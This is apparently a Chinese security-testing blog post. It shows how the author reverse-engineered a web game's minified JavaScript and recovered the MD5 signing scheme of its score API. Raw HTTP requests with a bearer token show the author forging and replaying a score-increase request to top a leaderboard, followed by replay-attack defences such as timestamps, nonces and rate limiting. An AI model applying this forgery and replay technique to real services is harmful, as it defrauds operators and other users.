信息安全在我们日常开发中息息相关,稍有忽视则容易产生安全事故。对安全测试也提出更高要求。以下是笔者亲自实践过程:
一. 打开某个数钱游戏HTML5页面,在浏览器 F12 开发工具中,查看的js,如下,都压缩混淆:
如上分析是Vue.js开发的前端,Webpack打包
二. 玩游戏,通过fiddler抓包,分析分数相关请求
HTTP RAW详细报文如下:
POST https://testgame.xxxx.cn/api/services/app/Game/AddGameScoreHTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjI2MCIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvdXNlcmRhdGEiOiJ7XCJVc2VyTmFtZVwiOlwiMTc4NDQ1NDk2MTdcIixcIkhlYWRJbWd1cmxcIjpudWxsLFwiTmlja05hbWVcIjpcIjE3ODQ0NTQ5NjE3XCIsXCJT2XhcIjowfSIsInN1YiI6IjI2MCIsImp0aSI6IjE4MzNiYTUzLWJiYjQtNGE4Yi1hNDFmLWEzNjQ2MjU1YThiMSIsImlhdCI6MTU4MTY0NzYzMywibmJmIjoxNTgxNjQ3NjMzLCJleHAiOjE1ODE3MzQwMzMsImlzcyI6IlZQSG9ybm9yIiwiYXVkIjoiVlBIb3Jub3IifQ.rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Accept: */*
Accept-Language: zh-CN
Content-Type: application/json
Content-Length: 87
Expect: 100-continue
Connection: Keep-Alive
{"id":1626,"gamescore":60,"s":"c0cb28260b42bc14808689782151e112","invitationCode":""}
HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Fri, 14 Feb 2020 03:54:48 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Length: 206
{"result":{"isWin":true,"score":5,"currentScore":43,"bestScore":43,"bestRank":3,"dayLotteryCount":98,"winningId":0},"targetUrl":null,"success":true,"error":null,"unAuthorizedRequest":false,"__abp":true}
三. 从抓包结果字面AddGameScore 意思,分析是增加游戏分数用关键字AddGameScore,在加载js文件中搜索, js可以先美化
http://xxxx.cn/js/chunk-2c4ee547.c5d8aab9.js
在文件chunk-2c4ee547.c5d8aab9.js中 搜索AddGameScore,第一处
第二处
Webpack可以混淆前端js代码,但不可能混淆后端接口地址。
从以上2处搜索,AddGameScore是后台接口, 我们看到 scoreUrl 标识,再次搜索scoreUrl,
对做过前端vue开发同学,看到代码如上这是一个发请求的地方,参数也看到分别是4个,第二个gamescore分数,第三个参数s不明白,但看Value是三元表达式, 看值n是 accessToken, 计算方式是Md5的哈希,算法是:
t分数+"|"+accessToken的按.拆分第2个元素+"|"+windows.pubParams.id
我们去控制台 执行下 windows.pubParams.id 得到 1626
从之前抓包请求中,分析access token 是访问token,accessToken的按.拆分第2个元素,如下加粗
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjI2MCIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvdXNlcmRhdGEiOiJ7XCJVc2VyTmFtZVwiOlwiMTc4NDQ1NDk2MTdcIixcIkhlYWRJbWd1cmxcIjpudWxsLFwiTmlja05hbWVcIjpcIjE3ODQ0NTQ5NjE3XCIsXCJT2XhcIjowfSIsInN1YiI6IjI2MCIsImp0aSI6IjE4MzNiYTUzLWJiYjQtNGE4Yi1hNDFmLWEzNjQ2MjU1YThiMSIsImlhdCI6MTU4MTY0NzYzMywibmJmIjoxNTgxNjQ3NjMzLCJleHAiOjE1ODE3MzQwMzMsImlzcyI6IlZQSG9ybm9yIiwiYXVkIjoiVlBIb3Jub3IifQ.rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA
四. 伪造HTTP的加分请求
请求参数s的值是
2000|rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA|1626
在网站加密https://md5jiami.51240.com/
s的值是c0cd28260b42bc14808689782151e112, 最后我们成功 加分2000,如下 HTTP RAW
POST https://xxxx.cn/api/services/app/Game/AddGameScoreHTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjI2MCIsImh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwOC8wNi9pZGVudGl0eS9jbGFpbXMvdXNlcmRhdGEiOiJ7XCJVc2VyTmFtZVwiOlwiMTc4NDQ1NDk2MTdcIixcIkhlYWRJbWd1cmxcIjpudWxsLFwiTmlja05hbWVcIjpcIjE3ODQ0NTQ5NjE3XCIsXCJTZXhcIjowfSIsInN1YiI6IjI2MCIsImp0aSI6IjE4MzNiYTUzLWJiYjQtNGE4Yi1hNDFmLWEzNjQ2MjU1YThiMSIsImlhd4I6MTU4MTY0NzYzMywibmJmIjoxNTgxNjQ3NjMzLCJleHAiOjE1ODE3MzQwMzMsImlzcyI6IlZQSG9ybm9yIiwiYXVkIjoiVlBIb3Jub3IifQ.rArdySnm5mCiYrm_QanbGZE50Aw6PQINOvCZl7FQ3KA
Accept: */*
Accept-Language: zh-CN
Accept-Encoding: GZIP
Content-Type: application/json
Expect: 100-continue
Connection: Keep-Alive{"id":1626,"gamescore":2000,"s":"c0cd28260b42bc14808689782151e112","invitationCode":""}
HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Fri, 14 Feb 2020 02:51:04 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN{"result":{"isWin":true,"score":5,"currentScore":2000,"bestScore":2000,"bestRank":1,"dayLotteryCount":99,"winningId":0},"targetUrl":null,"success":true,"error":null,"unAuthorizedRequest":false,"__abp":true}
我们看到HTTP Response 的JSON返回 currentScore:2000, 我们成功为这个游戏增加了2000分
重放攻击(Replay Attacks)又称重播攻击、回放攻击,是指攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程,破坏认证的正确性。重放攻击可以由发起者,也可以由拦截并重发该数据的敌方进行。攻击者利用网络监听或者其他方式盗取认证凭据,之后再把它重新发给认证服务器。重放攻击在任何网络通过程中都可能发生,是计算机世界黑客常用的攻击方式之一。
并可以重复请求HTTP,replay的攻击,如下图来自fiddler工具
以约20个HTTPS请求是成功
最近在游戏排行版,上版第一名,被成功刷分2000分
解决方案:
1. 防止Replay攻击。前后端签名逻辑加入时间戳timestamp, 验签核对时间范围内timestamp,需要前端配合修改。
增加攻击难度。 如微信的https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3
时间戳
“时戳”──代表当前时刻的数
基本思想──A接收一个消息当且仅当其包含一个对A而言足够接近当前时刻的时戳
原理──重放的时戳将相对远离当前时刻
时钟要求──通信各方的计算机时钟保持同步
处理方式──设置大小适当的时间窗(间隔),越大越能包容网络传输延时,越小越能防重放攻击
适用性──用于非连接性的对话(在连接情形下双方时钟若偶然出现不同步,则正确的信息可能会被误判为重放信息而丢弃,而错误的重放信息可能会当作最新信息而接收)
还有两种方法Replay攻击
序号
通信双方通过消息中的序列号来判断消息的新鲜性
要求通信双方必须事先协商一个初始序列号,并协商递增方法
提问与应答
“现时”──与当前事件有关的一次性随机数N(互不重复即可)
基本做法──期望从B获得消息的A 事先发给B一个现时N,并要求B应答的消息中包含N或f(N),f是A、B预先约定的简单函数
原理──A通过B回复的N或f(N)与自己发出是否一致来判定本次消息是不是重放的
时钟要求──无
适用性──用于连接性的对话
2. 服务端业务逻辑规则限制来防范,向上就是整个平台风控管理
3. HTTP接口限流,禁止单个用户/ip频繁请求同对接口
4. 单个用户频繁请求,使用行为验证码验证一起提交
5. 前端UglifyJS2提高混淆,使用属性混淆,详细参考
https://github.com/mishoo/UglifyJS2#cli-mangling-property-names---mangle-props
效果如下
总结
对于做过软件开发的工程师,浏览器分析前端代码与抓取HTTP请求分析服务端请求,来伪造请求 加分已不是难事。前端,服务端安全防范,Web安全测试 任重道远。